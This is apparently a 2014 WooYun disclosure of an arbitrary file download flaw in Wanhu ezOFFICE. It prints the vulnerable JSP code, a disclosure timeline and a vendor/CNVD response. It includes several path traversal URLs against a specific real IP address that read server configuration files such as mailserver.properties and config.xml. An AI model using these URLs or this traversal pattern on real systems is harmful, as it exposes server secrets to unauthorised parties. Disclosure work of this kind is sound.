当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-063711

漏洞标题:万户ezOFFICE无限制任意文件下载

相关厂商:万户

漏洞作者: 北京方便面

提交时间:2014-06-06 17:46

修复时间:2014-09-04 17:48

公开时间:2014-09-04 17:48

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-06: 细节已通知厂商并且等待厂商处理中
2014-06-11: 厂商已经确认,细节仅向厂商公开
2014-06-14: 细节向第三方安全合作伙伴开放
2014-08-05: 细节向核心白帽子及相关领域专家公开
2014-08-15: 细节向普通白帽子公开
2014-08-25: 细节向实习白帽子公开
2014-09-04: 细节向公众公开

简要描述:

万户ezOFFICE无限制任意文件下载

详细说明:

String filepath="";
HttpServletRequest HSR=(HttpServletRequest)pageContext.getRequest();
String path=request.getParameter("path");
filepath=HSR.getRealPath("/upload/")+"/"+path+"/";
String filename = request.getParameter("FileName");
String name = request.getParameter("name");
name=new String(name.getBytes("GBK"),"iso-8859-1");
java.io.File file = new java.io.File(filepath + filename);
if(file.exists()){
// 设置响应头和下载保存的文件名
response.setContentType("csv");
response.setHeader("Content-Disposition",
"attachment; filename=\"" + name + "\"");
// 打开指定文件的流信息
java.io.FileInputStream fileInputStream = new java.io.FileInputStream(filepath + filename);
// 写出流信息
int i;
while ((i=fileInputStream.read()) != -1) {
out.write(i);
}
fileInputStream.close();
out.close();
}else{
response.setContentType("text/html; charset=GBK");
%>
<html>
<head>
<title></title>
<meta http-equiv="Content-Type" content="text/html; charset=GBK">
<SCRIPT LANGUAGE="JavaScript">
<!--
alert("指定的文件不存在!");
history.back();


配置文件为例:
http://222.178.221.54:7001/defaultroot/public/jsp/download.jsp?FileName=mailserver.properties&name=2.jsp&path=/../../config/
http://222.178.221.54:7001/defaultroot/public/jsp/download.jsp?FileName=govexchange.properties&name=2.jsp&path=/../../config/
http://222.178.221.54:7001/defaultroot/public/jsp/download.jsp?FileName=config.xml&name=2.jsp&path=/../../config/
http://222.178.221.54:7001/defaultroot/public/jsp/download.jsp?FileName=systemMark.properties&name=2.jsp&path=/../../config/

漏洞证明:

config.xml

586FCE6E-A89E-4D32-AA85-9E7E69D400EE.png

修复方案:

版权声明:转载请注明来源 北京方便面@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2014-06-11 16:41

厂商回复:

CNVD确认并在多个实例上复现所述情况,已经由CNVD直接联系软件生产厂商(按以往联系处置渠道),电话至,将通报发送至zhuobq路邮箱中处置。

最新状态:

暂无